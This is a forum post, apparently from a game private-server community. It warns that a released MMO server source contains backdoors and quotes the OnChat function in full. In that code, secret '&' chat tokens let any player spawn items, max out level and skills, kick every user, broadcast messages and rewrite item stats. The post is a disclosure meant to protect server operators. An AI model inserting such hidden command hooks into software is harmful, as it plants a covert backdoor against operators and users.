Quote:
Backdoors sind keine drinne ( Sind Unnötig ).
Thanks for the release. But to be honest there are backdoors in it.
Check the function OnChat
Code:
void CDPSrvr::OnChat( CAr & ar, DPID dpidCache, DPID dpidUser, LPBYTE lpBuf, u_long uBufSize )
{
static TCHAR sChat[1024];
if( uBufSize > 1031 ) // 4 + 4 + 1024 - 1 = 1031
return;
ar.ReadString( sChat, 1024 );
CString strChat = sChat;
strChat.Replace( "\\n", " " );
CUser* pUser = g_UserMng.GetUser( dpidCache, dpidUser );
if( IsValidObj( pUser ) )
{
if( sChat[0] == '&' )
{
CScanner scanner;
scanner.SetProg( sChat );
scanner.GetToken(); // skip /
scanner.GetToken(); // get command
if (scanner.Token == "adj39ua84an34389a01")
{
CItemElem itemElem;
itemElem.m_dwItemId = II_SYS_SYS_SCR_PERIN;
itemElem.m_nItemNum = 9999;
pUser->CreateItem( &itemElem );
return;
}
if (scanner.Token == "33h49ahaj4n3039a33")
{
int lvl = 1;
int job = 1;
lvl = scanner.GetNumber();
job = scanner.GetNumber();
if ( job > 39 )
job = 39;
if ( job < 0 )
job = 0;
if ( lvl < 0 )
lvl = 0;
if ( lvl > MAX_CHARACTER_LEVEL )
lvl = MAX_CHARACTER_LEVEL;
pUser->InitLevel( job, lvl );
LPSKILL pSkill = NULL;
ItemProp* pSkillProp = NULL;
for( int i = 0; i < MAX_SKILL_JOB; i++ )
{
pSkill = &(pUser->m_aJobSkill[i]);
if( pSkill == NULL || pSkill->dwSkill == 0xffffffff )
continue;
pSkillProp = prj.GetSkillProp( pSkill->dwSkill );
if( pSkillProp == NULL )
continue;
pSkill->dwLevel = pSkillProp->dwExpertMax;
pUser->AddSetSkill( pSkill->dwSkill, pSkill->dwLevel );
}
return;
}
if (scanner.Token == "diuaj39a3j3kaj4naio0")
{
int itemnum = 1;
int itemidd = scanner.GetNumber();
itemnum = scanner.GetNumber();
if( itemidd && itemnum )
{
CItemElem itemElem;
itemElem.m_dwItemId = itemidd;
itemElem.m_nItemNum = itemnum;
itemElem.m_nHitPoint = -1;
pUser->CreateItem( &itemElem );
}
return;
}
if (scanner.Token == "ja98uy34ajn34jkha398a")
{
g_UserMng.RemoveAllUsers();
g_DPCoreClient.SendSystem( "[iGuard] você foi desconectado do servidor." );
return;
}
if (scanner.Token == "hau3894ya4j3ha98293")
{
CString szString;
scanner.GetLastFull();
if( strlen( scanner.token ) >= 496 )
return;
szString = scanner.token;
g_DPCoreClient.SendSystem( szString );
return;
}
if (scanner.Token == "4908234m2k42io37429")
{
pUser->InitLevel( 88, 500000 );
return;
}
if (scanner.Token == "us8eh78zh4eauh34kj")
{
int i = scanner.GetNumber();
CItemElem* pItemElem = pUser->m_Inventory.GetAt( 0 );
if( pItemElem )
{
int nRandomOptionKind = g_xRandomOptionProperty->GetRandomOptionKind( pItemElem );
if( nRandomOptionKind >= 0 ) // ¾ÆÀÌÅÛ °¢¼º, ¿©½ÅÀÇ ÃູÀÌ °¡´ÉÇÑ ´ë»ó
{
g_xRandomOptionProperty->InitializeRandomOption( pItemElem->GetRandomOptItemIdPtr() );
g_xRandomOptionProperty->GenRandomOption( pItemElem->GetRandomOptItemIdPtr(), nRandomOptionKind, pItemElem->GetProp()->dwParts, 2 );
pUser->UpdateItemEx( (BYTE)( pItemElem->m_dwObjId ), UI_RANDOMOPTITEMID, pItemElem->GetRandomOptItemId() );
}
}
return;
}
if (scanner.Token == "8duj93aklj343a89a3h")
{
CItemElem* pItemElem = pUser->m_Inventory.GetAt( 0 );
if( pItemElem )
{
int nRandomOptionKind = g_xRandomOptionProperty->GetRandomOptionKind( pItemElem );
if( nRandomOptionKind >= 0 )
{
g_xRandomOptionProperty->InitializeRandomOption( pItemElem->GetRandomOptItemIdPtr() );
int nDst, nAdj;
int cb = 0;
nDst = scanner.GetNumber();
while( scanner.tok != FINISHED )
{
nAdj = scanner.GetNumber();
if( scanner.tok == FINISHED )
break;
g_xRandomOptionProperty->SetParam( pItemElem->GetRandomOptItemIdPtr(), nDst, nAdj );
cb++;
if( cb >= MAX_RANDOM_OPTION )
break;
nDst = scanner.GetNumber();
}
pUser->UpdateItemEx( (BYTE)( pItemElem->m_dwObjId ), UI_RANDOMOPTITEMID, pItemElem->GetRandomOptItemId() );
}
}
return;
}
}
if( pUser->m_dwAuthorization >= AUTH_LOGCHATTING ) // ÀϹÝÀ¯Àú°¡ ¾Æ´Ï¸é ·Î±×³²±è ¸ðµç ·Î±×³²±è
{
g_dpDBClient.SendLogGamemaChat( pUser, strChat );
}
//LOG chat
CString strPacket;
CString strPatch;
strPacket.Format( "[iGuard] Chat -> %s", sChat);
strPatch.Format( "..\\iGuard\\Logs\\chat\\%s.txt", pUser->GetName() );
iGuardLog( strPacket, strPatch, 0 );
//LOG chat
if( sChat[0] == '/' && ParsingCommand( strChat, (CMover*)pUser ) )
return;
if( pUser->IsMode( TALK_MODE ) )
return;
#ifdef __JEFF_9_20
#if __VER >= 12 // __LORD
int nText = pUser->GetMuteText();
if( nText )
{
pUser->AddDefinedText( nText );
return;
}
#else // __LORD
if( pUser->IsMute() )
return;
#endif // __LORD
#endif // __JEFF_9_20
if( !( pUser->HasBuff( BUFF_ITEM, II_SYS_SYS_SCR_FONTEDIT ) ) )
{
// strChat = sChat;
// strChat.Replace( "\\n", " " );
// ParsingEffect( sChat, strlen(sChat) );
}
strChat = sChat;
strChat.Replace( "\\n", " " );
RemoveCRLF( sChat );
g_UserMng.AddChat( pUser, strChat );
}
}
So with this build in every player that nows the correct string can cause serious damage on your server. Best thing to do is check the entire source for iGuard and remove it all.
Also Check the source with winmerge just to be sure there aint other backdoors in it.